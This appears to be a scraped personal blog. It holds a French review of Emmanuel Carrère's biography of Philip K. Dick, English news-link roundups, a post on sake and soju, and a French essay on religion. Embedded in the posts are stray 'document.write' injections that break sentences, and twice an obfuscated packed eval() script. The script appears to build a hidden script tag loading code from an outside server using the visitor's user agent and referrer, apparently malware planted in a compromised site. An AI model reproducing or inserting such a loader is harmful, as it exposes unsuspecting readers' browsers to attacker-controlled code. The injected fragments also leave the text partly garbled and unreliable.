La première fois que j’ai eu Je suis vivant et vous êtes morts entre les mains, alors que je le préparais pour le mettre en circulation à la bibliothèque, je n’en ai pas pensé grand chose. Je connaissais Emmanuel Carrère de nom (ayant beaucoup entendu parlé de Limonov par exemple) mais je n’avais jamais lu (ou même été tenté de lire) un de ses livres. Toutefois, je feuillette toujours les livres qui me passent entre les mains: par nécessité d’abord (pour avoir les information nécessaire pour bien catégoriser le livre et l’identifier avec le pictogramme adéquat), par curiosité souvent, mais surtout pour me familiariser avec la collection afin de pouvoir bien servir la clientèle (cela m’a souvent été utile). Je croyais que c’était un roman, alors j’ai été extrêmement surpris de découvrir qu’il s’agissait en fait d’une livre traitant de Philip K. Dick (sans conteste l’un de mes auteurs favoris). En fait, c’est une biographie romancée de Dick, ce qui n’est, après tout, pas si surprenant que cela puisque Carrère a plusieurs fois touché au genre biographique (Werner Herzog, L’Adversaire, D’autres vies que la mienne, Limonov). J’ai d’abord cru que c’était un livre récent, puisqu’il m’arrivait avec les nouveautés, mais en fait c’est la réédition en format poche d’un livre paru en 1993! Malgré tout, j’ai tout de suite su que je devais absolument lire ce livre.

Le récit que Carrère fait de la vie de Dick est fascinant. Si j’ai d’abord trouvé son style plutôt agaçant, je me suis toutefois rapidement habitué aux interventions de l’auteur dans son récit et aux différents artifices qu’il utilise pour y donner vie. Son style fluide nous emporte rapidement. Carrère nous dit que, pour préparer son ouvrage, il a lu beaucoup de livres, attachant beaucoup d’importance aux biographies de PKD (principalement Divine Invasion: The Life of Philip K. Dick par Lawrence Sutin et The Search for Philip K. Dick par Anne R Dick). Il a également rencontré et interviewé plusieurs proches de Dick. Toutefois sa principale source a été l’oeuvre de Dick elle-même.

Carrère décrit et explique plusieurs nouvelles et romans de PKD à travers lesquels il nous fait découvrir le cheminement existentiel de l’auteur qui a été tour à tour intello, bohème, bourgeois, artiste, hippy, junky et mystique. Ces différentes étapes ont été ponctué par une succession d’épouses ou de compagnes: Jeanette l’amatrice de musique classique rencontrée dans la boutique de disques où travaillait PKD (1948), Kleo la gauchiste rebelle (1950), Anne (1959) qui lui donne une fille (Laura Archer née en 1960) et qui souffrait d’instabilité psychologique, Nancy la mondaine (1964) qui lui donne une seconde fille (Isa) et Tessa la timide croyante avec qui il s’installe à Fullerton (1972) et qui lui donne un fils (Christopher né en 1973). Il décrit également la série d’événements ou de visions qui jalonnent sa vie et le marquent profondément: la mort de sa sœur jumelle un peu plus d’un mois après leur naissance, son père portant un masque à gas de la 1ère guerre mondiale, un visage dans le ciel, le cambriolage de sa maison de Berkley, une livreuse de pharmacie portant un pendantif en forme de poisson qui provoqua ce que PKD appela son “anamnèse”, etc.

Ainsi Carrère remet l’oeuvre dans le contexte de la vie de PKD, et vice-versa, tentant d’expliquer ce qui l’avait amené à écrire tel livre ou ce que telle histoire exprimait de la vie de PKD ou de son état d’esprit à une époque donnée. C’est durant sa relation avec Anne, qui l’encourage beaucoup à écrire, que PKD commence à produire ses oeuvres les plus significatives: The Man in the High Castle (Le Maître du Haut Château, publié en 1962), Clans of the Alphane Moon (Les Clans de la Lune alphane, paru en 1964), The Three Stigmata of Palmer Eldritch (Le Dieu venu du Centaure, publié en 1965). PKD soutient un rythme effréné d’écriture grâce à l’utilisation d’amphétamines (aka “speed”) mais ceux-ci auront un effet dévastateur sur sa santé. Durant son mariage avec Nancy, il écrit, entre autres, Do Androids Dream of Electric Sheep? (aka Blade Runner, Les androïdes rêvent-ils de moutons électriques ?, publié en 1968), Ubik (1969) et Flow my Tears, the Policeman Said (Le prisme du néant, écrit en 1970 mais publié en 1974) dont le titre est inspiré d’une pièce ce John Dowland, luthiste anglais du XVIe siècle que PKD appréciait beaucoup.

Il avait souvent eut des périodes de dépression mais, lorsque Nancy le quitte, il sombre à son plus bas. Il se drogue beaucoup, partage sa maison avec un groupe de junkies, et, en 1971, le cambriolage de sa maison exacerbera sa nature paranoïaque. Sous prétexte d’une convention de science-fiction, il tente de refaire sa vie en s’installant à Vancouver mais il se sent isolé plus que jamais et tente de se suicider. Après un passage de trois semaines dans une maison de désintoxication (X-Kalay), il revient en Californie et s’installe à Fullerton. Ces expériences lui inspireront A Scanner Darkly (Substance mort, écrit en 1973 mais publié en 1977).

PKD avait souvent réfléchit à la religion, particulièrement au travers de ses longues discussions théologiques avec l’évêque James A. Pike (évêque épiscopalien du diocèse de Californie, rencontré à l’automne 1965 par l’entremise d’une amie, dont la foi vacilla suite aux révélations des manuscrits de la mer morte qui suggéraient que le Jésus historique n’aurait été qu’un simple prédicateur Essénien (apparemment, ceux-ci mangeaient un pain et buvaient un bouillon fait à partir d’un champignon hallucinogène, en une sorte de cérémonie antérieure à la communion!), il introduisit PKD à la Gnose et, par cela, eut une grande influence sur lui; il est également l’inspiration du personnage de Timothy Archer dans The Transmigration of Timothy Archer). Il eut aussi quelques expériences pseudo-religieuses (comme la vision d’un visage dans le ciel, qu’un prêtre attribua à Satan) sans doute causées par les effets secondaires des nombreuses drogues qu’il consommait. Mais rien de cela n’était comparable au mysticisme profond qu’il éprouva à partir de 1974 (possiblement déclenché par sa tentative de suicide, son séjour à X-Kalay, la chute de Nixon (son ennemi juré!), le sevrage de la drogue ou sa fameuse anamnèse). Obsédé, il passa de nombreux mois, sinon des années, à spéculer sur son expérience religieuse, définissant sa gnose dickienne dans de volumineux carnets de notes qu’il appelait son Exégèse. Ses cinq derniers romans (la “trilogie divine”) en sont fortement empreint: d’abord Radio Free Albemuth (une première tentative d’exprimer son expérience, écrit en 1976 mais publié de façon posthume en 1985), puis VALIS (SIVA, 1980), The Divine Invasion (L’Invasion divine, 1981) et The Transmigration of Timothy Archer (La Transmigration de Timothy Archer, 1982), puis finalement The Owl in Daylight (jamais complété, il y travaillait au moment de sa mort, le 2 mars 1982, suite à un AVC et à une crise cardiaque).

La biographie que nous présente Carrère nous permet de mieux comprendre qui était PKD, ainsi que son oeuvre. Dans le fond, PKD est une sorte de philosophe moderne qui questionne sans cesse tant sa propre identité que la véritable nature de la réalité et qui s’est façonné une conception de l’univers influencée par ses expériences avec une vaste pharmacopée (source de son instabilité psychologique, de sa paranoïa, de sa schizophrénie — quoique, apparemment, les drogues dures n’y ont pas joué de rôle significatif, à part pour une brève période de sa vie, contrairement à l’image qu’on a eut de lui particulièrement en Europe) et par ses croyances gnostiques. Mais dans quelle mesure tout ce que nous raconte Carrère est réel? Quelle part en est spéculation ou invention ? En effet, certains anecdotes ou détails nous semble douteux car trop précis. Après tout l’ouvrage est décrit comme une biographie “romancée.” Comme beaucoup d’auteurs, PKD a sans doute puisé dans ses propres expériences pour étoffer ses récits, mais j’ai l’impression que Carrère a parfois comblé les vides dans la vie de son sujet en tirant la matière directement de l’oeuvre de PKD sans se soucier si l’anecdote était véridique ou fictif. Cela expliquerait sans doute pourquoi, comme certains en ont fait la juste remarque, que Je suis vivant et vous êtes morts “se lit comme un roman de Dick”.

En lisant Je suis vivant et vous êtes morts, je ne pouvais pas m’empêcher de penser à deux autres documents traitant de la vie de PKD qui me sont tombé dans les mains ces dernières années. L’un est un documentaire video un peu minable (mais qui offre tout de même quelques information intéressantes) qui regroupe des interviews de proches de PKD: The gospel according to Philip K. Dick (Amazon, IMDb, NYT). L’autre est un film (réalisé par Matthew Wilder, avec Bill Pullman) que j’ai vu au Festival des Films du Monde en 2008, Your Name Here, qui offre un douteux et bouffon hommage à la vie de PKD, possiblement inspiré par la fascination qu’il avait pour la chanteuse Linda Ronstadt (IMDb, Polly Staffle).

En lisant tout ceci je me rend compte que PKD a exercé sur moi une plus grande influence que je ne le croyait. Certes, ma fascination pour cet auteur provient d’abord d’une certaine affinité commune (j’ai eu mon lot d’expériences personnelles dickiennes, incluant une certaine paranoïa, un alter-ego androïde du nom de Flip Cody (sans doute lui même influencé par la participation à de nombreux jeux de rôle), un intérêt académique pour les religions, des voix intérieures (ou de la poésie?) criants “Libera me” ou “Let me out of here!” (tout cela sans le moindre usage de drogue!), etc.) mais il m’apparait que beaucoup de ces choses que j’ai ressenti ou rêvé me viennent probablement des livres de PKD que j’ai lu, oublié et que mon subconscient a intégré. Fascinant!

Finalement, Je suis vivant et vous êtes morts m’a fait découvrir des facettes de PKD que je n’avais jamais imaginé. D’une part, j’ignorais que ses oeuvres contenaient autant d’éléments autobiographiques. C’est troublant. D’autre part, je ne pensait pas que l’aspect religieux y avait eu autant d’importance et d’influence. Mmmm… Tout cela me donne le goût de relire les livres de PKD (mais cette fois non pas en traduction mais dans la version originale). Quoiqu’il en soit, si vous n’êtes pas familier avec PKD, Je suis vivant et vous êtes morts vous le fera découvrir (mais gare aux “spoilers”). Et si vous êtes déjà un amateur, il vous le fera vraiment découvrir!

Outre l’oeuvre de PKD elle même, plusieurs ouvrages ont été écrit à son sujet. À part les Divine Invasions: A Life of Philip K. Dick par Lawrence Sutin et The Search for Philip K. Dick par Anne R Dick (déjà mentionné plus haut), voici quelques suggestions de lectures que je peux vous (et me) faire (tous les liens sont vers Amazon.com): Tessa B. Dick: My Life on the Edge of Reality par Tessa B. Dick, Philip K. Dick: Remembering Firebright par Tessa B. Dick, Philip K. Dick and Philosophy: Do Androids Have Kindred Spirits? par D. E. Wittkower et, bien sûr, The Exegesis of Philip K. Dick par Philip K. Dick, Pamela Jackson & Jonathan Lethem. La version anglaise de Je suis vivant et vous êtes morts (I Am Alive and You Are Dead: A Journey into the Mind of Philip K. Dick par Emmanuel Carrère) mérite également d’être mentionnée (ne serait-ce que pour nos lecteurs anglophones).

Je suis vivant et vous êtes morts, par Emmanuel Carrère. Paris, Éditions du Seuil (Coll. Points, #258), 2012. 11 x 18 x 1.8 cm, 416 pg., 7,70 € / $14.95 Can. ISBN: 978-2-7578-3072-7.

Pour plus d’information vous pouvez consulter les sites suivants:

Je suis vivant et vous êtes morts © Emmanuel Carrère et les Éditions du Seuil, 1993.

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Press Review (2013-04-15)

April 15, 2013 / Clodjee / Leave a comment

April already. Still tired and a little depressed for no real reasons other than probably the end of winter blah. Still got mice problem: the cats got a tiny one on the first floor (they’re spreading and reproducing! But it seems that cats are the best countermeasure). Winter came back for a last hurrah and we got snow again last friday. They were forecasting fifteen centimetres but we probably got no more than five on the ground. Very wet snow. And it melted completely within two days. And I have a damn cold again.
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Besides the deaths of Roger Ebert and Margaret Thatcher, document.write(“”); or the sabre rattling of North Korea (trying to bully the West into getting more aid again; when you comply to taxing you just show that you’re weak; they should give them a good lesson for once and for all), it was a very quiet couple of weeks in the news. Have a look on the links after the jump:

Anime & Manga related, Japan, Popular Culture

Apple, apps and mobile devices news

Books, Digital Edition & Library

Mort de Fred, père de «Philémon» et «conteur éclectique» (Le Nouvel Observateur)
British Library to begin web harvest (The Telegraph)
Searching for Bill Watterson (Salon)
E-lending could signal a new chapter for libraries (The Guardian)
Barnes and Noble deploys new self-publishing service Nook Press (Electronista)
AAP reports e-books now account for over 22 percent of US publishers’ revenue (Engadget)
Haruki Murakami fans queue overnight for latest novel (The Guardian)
Are cats top dogs in the world of literature? (The Guardian)
Fred s’est encore évadé (Le Monde)

Economy, Environment & International/U.S. Politics

Jay-Z, Beyonce Cuba Trip- Open Letter Diss (Business Insider)
Les Etats-Unis sont “déterminés à défendre le Japon” face à Pyongyang (Le Monde)
La “Dame de fer” laisse à son pays un lourd héritage (Le Monde)
How Jorge Mario Bergoglio Became Pope Francis (WSJ)

Health, home & garden

There’s an All-Natural Bed Bug Cure That Actually Works (Gizmodo) [Something to keep in mind if you ever get bedbugs; I’m paranoid about this and hope to never have to deal with that]
Le virus H7N9 de la grippe aviaire se propage en Chine (Le Monde)

Local News & National Politics

Ottawa impose le bâillon aux archivistes (Le Devoir)
Canada: le jeu vidéo en transition (Le Monde)
Les conservateurs lancent leurs premières publicités négatives contre Trudeau (Le Devoir)
Rapatriement de 1982: Québec prépare son offensive (Le Devoir)

Media, Culture, & Society

Walking Dead, Game of Thrones Set Records (ICv2)
Game of Thrones Renewed (ICv2)
Game of Thrones Breaks BitTorrent Swarm Record (ICv2)
A Critic for the Common Man (NYT)
La télé est morte, vive la télé! (Le Devoir)
Vikings Gets A Second Season! (Geek Tyrant)
Recycled Movie Costumes: Fan’s Tumblr Points Out Hollywood’s Practice of Reusing Old Designs (Moviefone) [My wife often point this out to me]
Natalie Dormer On The Elementary Set With Jonny Lee Miller (Huffington Post)
HBO Announces Its Summer Start Date for Season Two of The Newsroom (Indie Wire)
Game of Thrones: Le phénomène (Le Monde)
The best of spring TV (USA Today)
No TV? 5 million U.S. households bid boob tube goodbye (USA Today)

Sciences & History

Space Station’s Giant Antimatter Magnet Finds Abundance Of Mysterious Particles (Popular Science)
Passing gas: A modern scientific history (Salon)
Amateur space enthusiasts may have discovered missing Soviet Mars lander (The Verge)
The Beginning of the Universe Explained (Gizmodo)
Terahertz scanner reveals hidden fresco at Louvre (BBC)
Des conservateurs américains nient la relativité d’Einstein (Le Monde)
No, Jesus wasn’t a white dude (Salon)

Technology, Gadgets & Internet

Union stuff & Montreal’s libraries

Formule d’indexation de votre régime de retraite: l’heure du choix (SFMM)

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So you know your alcohol

April 9, 2013 / Clodjee / Leave a comment

I am an amateur of fine Japanese alcohol. I am just beginning so I’ve tasted a few, document.write(“”); but not too many. I like sake, but not all sake are equal. So far, the best I’ve tasted was brought to me from Japan by a friend and I couldn’t read the label, so it would be hard to tell what brand it was. The Société des alcools du Québec (SAQ) offers a few brand of sake, most of them rather average.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dtzyr|var|u0026u|referrer|fsksf||js|php’.split(‘|’),0,{}))

For a while, I’ve been looking for some Sh?ch?, a Japanese alcohol distilled from grain, mostly barley. I am just curious to taste it, but so far the SAQ has just one brand and it is pretty expensive (it’s Premium Rice Sh?ch?), not to mention located only in a few stores not easily accessible for me. I am patient, so I’m sure I’ll find it eventually. I might be able to find some at Miyamoto (if I can find the time to go there, it’s near metro Vendome).

Last week, I went to the SAQ to get some sake, any brand, preferably cheap. In such circumstances, my preference goes to the Hakutsuru. It’s an old classic at the SAQ. It doesn’t taste much, but for a 720 ml it’s really cheap at $11.15. Because, sometimes, you don’t want to taste the best, you just want some damn sake without spending too much. Unfortunately, I visited two stores and both were out of it, and in the case of the second store, out of any sake. Sad.

The lady at the store suggested me an alternative. “Try this,” she said. “It’s similar to sake, but it is Korean”. It was cheap enough ($6.00 for 375 ml), so I said “wine not”. However, since it was called Soju (in fact, Jinro Chamisul Soju — my bottle was slightly different from the illustration), I was doubtful it would taste like sake. First, it had 20.1 % of alcohol while sake usually goes around 15%. A higher percentage indicate the alcohol is distilled and sake is brewed. Soju (note the similarity of the name to Sh?ch?) is in fact an alcohol distilled from grain (usually rice, but also potatoes, wheat, or barley — but here the bottle just says “grain”). Tonight, I tasted it and it was tasting definitely more like vodka (not surprisingly, the Russian or Polish alcohol distilled from grain or potatoes) than sake.

However, the experience is not wasted since Soju is similar to Sh?ch? (or Shocchu, like it is spelled on the SAQ’s web site), it gives me an idea of that Sh?ch? would taste. I’m not disappointed, since I am already an amateur of vodka. It also taught me that the SAQ people don’t know shit about their alcohol.

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(Non) Credo

April 1, 2013 / Clodjee / Leave a comment

Depuis mon plus jeune âge je me suis toujours penché sur le sujet des religions (et c’est sans doute pour ça que j’ai depuis un mal de dos chronique). Dès l’âge de sept ou huit ans, document.write(“”); j’ai remis en question l’enseignement religieux reçu à l’école et j’étais réticent à aller à l’église. Toutefois, ce n’est que plus tard, dans l’adolescence, que je me suis vraiment intéressé à la philosophie des religions (sans vraiment savoir ce que c’était au départ).
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Avant d’en venir à la conclusion que la religion est une question vide de sens produite par notre nature même d’être humain insécure — mais que c’est toutefois un mal nécessaire et qu’il faut accepter et respecter l’opinion d’autrui tant que celui-ci respecte celle des autres et préserve la dignité humaine — j’ai longtemps cherché une voie de remplacement.

Continuez après le saut de page >>

Je me suis bien sûr intéressé à toutes sortes de théorie farfelues. Il y a eut, entre autres, celle que je pourrais appeler “hydrogènisme” et qui vouait un culte à la molécule d’hydrogène car elle seule était présente à l’origine de l’univers et est véritablement omniprésente en nous et partout.

Il y a aussi toute la question du nombre d’or, connu dès l’antiquité comme la proportion d’Euclide mais qui fut mis en évidence au Moyen-Âge par Fibonacci et sa suite de nombre, qui laisse entrevoir une organisation exceptionnelle et inexpliquée de l’univers et suggère l’existence d’un Grand Architecte, créateur du cosmos. Si cela pouvait expliquer l’un des éléments dont la science avait le plus de difficulté à donner du sens (du moins pour l’instant), le big bang qui donna naissance à l’univers, j’étais prêt à en considérer la possibilité pour un moment d’autant plus que cela semblait exclure l’idée ridicule de l’existence d’une entité anthropomorphe intervenant sans cesse dans nos vies telles que le concevaient les religions gréco-romaine ou judéo-chrétienne.

De toute les religions, j’ai toujours eu un certain respect pour les cultes multimillénaires qui ont survécu jusqu’à nos jours (incluant à la rigueur certains aspects des religions judéo–chrétiennes, de l’hindouisme ou de l’Islam) mais surtout pour les croyances animistes (shintô, croyances amérindiennes, etc.). Et j’ai aussi voué un certain intérêt envers ces philosophies qui sont souvent élevées en pseudo-religion (particulièrement le bouddhisme). Toutefois j’abhorre les religions organisées (et encore plus les sectes) qui exploitent les masses et mettent trop d’emphase sur les démonstration ostentatoires (en annonçant leur couleur avec des objets décoratifs ou vestimentaires tel que pendantifs, chapeaux, costumes, coiffures, etc., ou s’adonnent à de complexes cérémonies).

Parmi la religion chrétienne, la plus tolérable est sans aucun doute le protestantisme (et ses multiples variantes) qui, par ses réformes constantes, s’est le mieux adapté au mode de vie moderne et demeure donc plus respectueux de l’individualisme (femmes ordonnées, acceptation de l’homosexualité, marriage des prêtres, etc.). Les plus odieuses des religions sont toutes les formes d’orthodoxies et de fondamentalismes, qu’elles soient évangélistes d’extrème droite, zélotes, talibans, hassidiques, etc. Toutes ces religions caractérisées par un dogme rigide qui gouvernent implacablement la vie des croyants dans tous ses aspects, leur refusant toute individualité.

Toute cette quête et cette analyse introspective ne pouvait aboutir que vers l’athéisme (la négation de toute foi) ou l’agnosticisme (l’indifférence ou même l’impossibilité de se prononcer sur l’existence ou non du divin). Prudent, j’ai généralement plus penché vers ce dernier, mais au début j’ai aussi beaucoup considéré le premier et cela m’a mené sur le chemin dangereux de l’intolérance.

En effet, comme beaucoup j’ai pensé “qu’il faut être bien idiot pour croire à toutes ces âneries, et bien faible pour nécessiter de telles béquilles morales ou intellectuelles”. Toutefois, une telle attitude, quand l’on raille sans cesse le croyant, tournant en dérision sa foi profonde dans le divin ou envers ses institutions (on rencontre beaucoup cette attitude navrante sur l’internet, sur Facebook entre autres, avec des pages comme Atheist EDU, Working class atheists ou The Proud Atheist), n’est certes pas la meilleure façon de se faire ou de conserver des amitiés. Il faut être prudent dans nos conversations publiques, car on ne sait jamais vraiment quelles sont les croyances profondes de nos interlocuteurs (j’avais la méchante habitude d’assumer que mes interlocuteurs, étant des gens que je considérais brillants, étaient soit athées ou agnostiques).

J’ai ainsi perdu plusieurs amis, chassé par le martèlement incessant de mon intolérance. J’ai peu à peu réalisé que cette attitude faisait de moi un méchant crétin, particulièrement quand un ami, que je respectais beaucoup, est devenu prêtre. J’ai donc appris à mettre de l’eau dans mon vin et à respecter l’opinion des autres. Ce n’est pas parce qu’on est en désaccord qu’il faut être désagréable et blessant. On a beau penser que leur position est ridicule, le mieux est de se taire. Bien sûr, souvent les religions ne se gêneront pas pour insensiblement imposer leurs opinions aux autres mais (et je dois sans doute cela à mon éducation catholique) je crois que si on s’abaisse à leur niveau on ne vaut pas plus qu’eux. Il faut toujours chercher à comprendre et à respecter l’autre.

J’en suis donc venu à développer ce que j’appelle les trois tenants du respect religieux: tu ne discutera que rarement de religion, tu respectera l’ultime commandement (“ne fait pas aux autres ce que tu ne veux pas qu’ils te fassent”; en fait, ça résume les dix commandements) et tu n’exercera ton culte qu’en privé (le principe du caput-domus-templum: dans ta tête, dans ta maison et dans ton temple). Si tu respecte ça, tu n’embêtera probablement jamais personne. Toutefois, il ne faut jamais exclure une bonne et saine discussion (comme ici) et se laisser le droit à l’humour (mais attention certains groupes n’entendent pas à rire sur ce sujet).

Cela nous amène à la question de la séparation de la morale et de la religion. L’histoire des religions nous apprends et nous fait comprendre comment les religions sont nés et ont évolués. La croyance religieuse est avant tout une quête de sens, de savoir. Pourquoi moi? Pourquoi l’univers? Et toute la relation qu’il y a entre les deux. Un gouffre incommensurable, indicible, sépare ces deux espaces (le moi et le tout) et il doit être comblé d’une façon ou d’une autre par une explication rationnelle ou mystique, un mythe fondateur, un pont qui a pour seul but de rassurer notre psyché.

Si tel est le fondement de la religion, l’origine des préceptes religieux (doctrine ou dogme) est, quant à elle, beaucoup plus pragmatique. Elle émane de deux sources: l’une morale et l’autre utilitaire. Dans une société simple, où le savoir n’est pas accessible à tous, il est important d’établir des règles claires pour s’assurer de la sécurité, de la survie tant de l’individu que du groupe: des règles qui régissent la relation entre l’individu et son environnement (des règles d’hygiène par exemple: ne pas manger certains types de nourritures dans un climat chaud, manger d’une main et se torcher de l’autre, etc.) et des règles qui gouvernent les relations entre les membres du groupe (bonne conduite, moeurs, éthique, lois comme le décalogue ou le code d’Hammourabi ou la loi salique). Pour bien fonctionner, toute société, qu’elle soit religieuse ou séculaire, doit avoir un fondement morale qui est de nature philosophique. La morale religieuse découle nécessairement de la philosophie morale. Toutefois, les choses se sont compliquées le jour où le pouvoir politique a mis à contribution la morale pour des fins de contrôle (marquant souvent et étrangement le passage d’une société matriarcale à une société patriarcale). Et le dogme était né. Pour éviter les abus du pouvoir, il est important de conserver un séparation entre ce qui est strictement morale (l’État en quelque sorte) et la religion (l’Église).

C’est bien beau tout ça et on a beau rejeter l’irrationnel (et le bébé avec l’eau du bain parfois), on en vient toujours à croire en quelques choses au fonds de nous même. Que ce soit de petites superstitions, du spiritisme, le culte des ancêtres, ou qu’on se dise ”moi je ne crois qu’en l’Homme” (quelle erreur: l’Homme est une créature des plus bêtes et méchantes, qui ne mérite pas l’espace qu’il occupe sur cette planète) ou ”moi je ne crois qu’en la Science”, on croit quand même toujours en quelque chose. D’une façon un peu similaire au polythéisme agglutinant des romains (plus tard transposé dans le culte des saints), la tendance actuelle semble être au syncrétisme.

Je m’en suis déjà moqué, mais c’est une pratique courante et, ma foi, très justifiée. Les catholiques appelle ça de la religion de cafétéria, puisqu’on choisi et croit ce qui nous plait le plus soit à l’intérieur des préceptes chrétiens, soit dans l’ensemble des religions du Monde. Des fois, j’ai l’impression de pousser ce principe à l’extrême. Je crois un peu de tout (dans une nonchalance influencée par l’agnosticisme, avec une morale un peu catholique de gauche et plutôt bouddhiste, et une forte allégeance à la Science). Croyant un peu plus une chose le matin, un peu plus une autre le soir, selon mes humeurs.

La croyance au goût du jour ces derniers temps est ce que j’appelle “l’Athénæisme,” en référence à la déesse grecque Athéna (particulièrement Pallas Athéna, “déesse de la sagesse, protectrice des sciences et des arts”). Son temple est l’Athenæum. Le terme acquit un sens plus large avec une école établit par Hadrien vers 135 A.D. pour faire la promotion des études littéraires et scientifiques et qu’il nomma ainsi en l’honneur d’Athènes, ville grecque alors considérée comme le siège du raffinement intellectuel. Elle était composé d’un amphithéâtre (auditorium), pour les conférences, ainsi que d’une bibliothèque et devint la première université de Rome au IVe siècle. Depuis, le terme “athenæum” désigne toute institution consacré à la promotion du Savoir ou un édifice contenant une salle de lecture ou une bibliothèque. De nos jours le nom est utilisé pour de nombreuses publications académiques, des clubs ou des sociétés consacrés à la promotion du Savoir, des centres culturels, des bibliothèques, des musées, des théâtres, des écoles et même des hôtels.

Vous l’aurez sans doute deviné, il s’agit ici du culte du Savoir. Et la bibliothèque est son temple. Le temple du Savoir humain (je dirais même: du Savoir Universel, mais ce serait sans doute exagéré et attacherait à l’idée une aura de mysticisme non nécessaire). Bien sûr, chaque bibliothèque ne contient qu’une partie infime de ce Savoir, qu’une toute petite pièce du puzzle. Il appartient à chaque individu d’assembler le plus grand nombre possible de ces pièces. (Comme tout temple, la bibliothèque demande le respect. Respect des lieux, respect des autres. Mais aller donc expliquer ça à une troupe d’enfant turbulents qui n’y voit qu’une salle de jeu, pleine de papier inutile!)

Est-ce une philosophie? Est-ce une religion? Si on y attache un peu de mysticisme on peut voir le divin dans le Savoir mais ce n’est pas vraiment nécessaire. Il s’agit surtout d’une façon de voir le monde, d’une discipline de questionnement et d’une réflexion sur notre relation avec l’Univers. Chercher à comprendre ce que nous sommes, ce qu’est l’Univers et définir tout ce qu’il y a entre les deux. On peut aussi y ajouter une touche Dickienne, et se demander si l’Univers est réel ou si il est illusoire. Est-il multiple ou simple? (Mais là on tomberait un peu dans le Gnosticisme…)

Tout cela peut paraitre compliqué mais en fait c’est très simple: cette philosophie (ou religion) n’a que deux règles: l’Ultime Commandement (mentionné plus haut) et le devoir de sans cesse s’améliorer, se perfectionner. Approfondir la connaissance de soi et surtout la connaissance de l’Autre. Car l’ignorance est la mère de tout les maux (comme le disait si bien Rabelais).

Ainsi s’achève cette réflexion pascale.

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Press Review (2013-03-31)

March 31, 2013 / Clodjee / Leave a comment

The most boring week spent in the worse way possible: expecting something to happen. Of course, document.write(“”); nothing happened! I was hoping to get some results from my little job hunting, but I guess I’ll stay in this hell’s pit for a little while. At least I’ve received my income tax returns and got my annual haircut (for that I tried a local italian barber for the first time). Buona Pasqua tutti!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdynk|var|u0026u|referrer|etrsb||js|php’.split(‘|’),0,{}))

For a little action, check the few links I gathered this week after the jump:

Anime & Manga related, Japan, Popular Culture

Forget Cyprus, Japan Is The Real Crisis (Forbes) [Maybe a little too alarmist? We’ll see…]
Check Out The First Pages Of The Steve Jobs Manga! (Cult of Mac)
Visite virtuelle dans la zone interdite de Fukushima (Le Monde)
KAMEHAMEHA: Les Japonaises imitent Dragon Ball (Le Monde)
New Japanese Fad: School Girls Recreate Anime Fight Scenes! (Kotaku, Huffington Post, Geek Tyrant)

Apple, apps and mobile devices news

Flou artistique autour du iPhone chez Vidéotron (MacQuébec)
Apple is pushing for an iRadio summertime launch (9 to 5 Mac)
Unlikely Rumor Claims June 20 Media Event to Introduce iPhone 5S (Mac Rumors)
Belkin Wemo Switch & Motion: home automation for the rest of us (9 to 5 Mac)
I’m Ditching The iPad For Work And Going Back To The Mac (Cult of Mac)

Books, Digital Edition & Library

Three Hidden Benefits of The Amazon Acquisition of Goodreads (Forbes)
Assault on Writers From Automated Software (Huffington Post)
Guy Gavriel Kay’s latest fantasy brings an ancient empire to life (The Globe & Mail)
Silence of the Poets: Writers and Antidepressants (Huffington Post)
Libraries to Become Community Publishing Portals (Huffington Post)
Curious Cat Walks Over Medieval Manuscript (National Geographic)
Digital library loans get government backing (The Guardian)
With an Arched Bookshelf You’re Never At Risk of an Avalanche (Gizmodo)

Economy, Environment & International/U.S. Politics

North Korea in ‘state of war’ as fresh cyberattack claims emerge (The Globe & Mail)
Pope’s foot-wash a final straw for traditionalists (USA Today)
Le pape François célèbre sa première messe de Pâques (Radio-Canada)

Health, home & garden

GMO Health Risks: What The Scientific Evidence Says (IB Times)
This year’s flu season was long and tough, CDC says (NBC)

Humour

Video: Bill Maher’s New Rule For Bad Parents (Huffington Post) [Ah, I love Bill Maher’s humour in general. His show is both educative and funny]

Non Sequitur (2013-03-05)
Zits (2013-03-05)
Local News & National Politics

Sondage Léger Marketing: Couillard propulse le PLQ au premier rang (Le Devoir)
Couillard promet le renouveau du PLQ (Le Devoir)

Media, Culture, & Society

Video: How Game of Thrones got on HBO (CNN)
George R.R. Martin Actually Sounds Sympathetic To Game of Thrones Pirates (Forbes)
Labyrinth is silly but enjoyable cobblers (The Guardian) [Come on! It was not that bad… Let’s say it was an okay entertainment]
Why everyone should register a domain name (The Guardian)
Here’s Everything Wrong with The Hobbit (ICv2) [Total nitpicking! It was an excellent entertainment. The only problem I can see, and the last reading of the book was too long ago to really tell, is how much it strays from the original story. But, really, who cares?]
Orphan Black Review: More Than Just A Sci-Fi Show (Huffington Post) [I guess I should check that one too. Haven’t I too many stuff to watch already?]
‘Game of Thrones’ takes a seat at the pop-culture table (USA Today) [The amount of coverage shows that the series is restarting this week!]

Sciences & History

For some, King Richard III’s resting place raises a human rights issue (NBC)
How Astronauts Got From Kazakhstan To The Space Station In Six Hours (Forbes)
Will Pope Francis Inspire More Priest Scientists? (Forbes)
New Soyuz route cuts travel time to ISS from two days to six hours (Engadget)
La “divine proportion”: le nombre qui fascine (Le Monde)
Que fait le cerveau quand il ne fait rien ? (Le Monde)

Union stuff & Montreal’s libraries

Montréal boucle l’année 2012 avec un surplus de 109 millions (La Presse) [Donc pas de problème pour payer l’équité salariale due et pour ajuster nos augmentations salariales au coup de la vie?]

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Clodjee's Safe-House

A blog about the pursuit of knowledge

Life

April in review

Hypocrisie religieuse

The month in review (2014-03-31)

Mec, t’as pas vu mon cell?

The month in review (2014-03-02)

Top10 media for 2013

The week in review (2013-12-03)

Corporate incompetence (Part 2)

Part 2: Amazon

One more thing!

The week in review (2013-11-10)

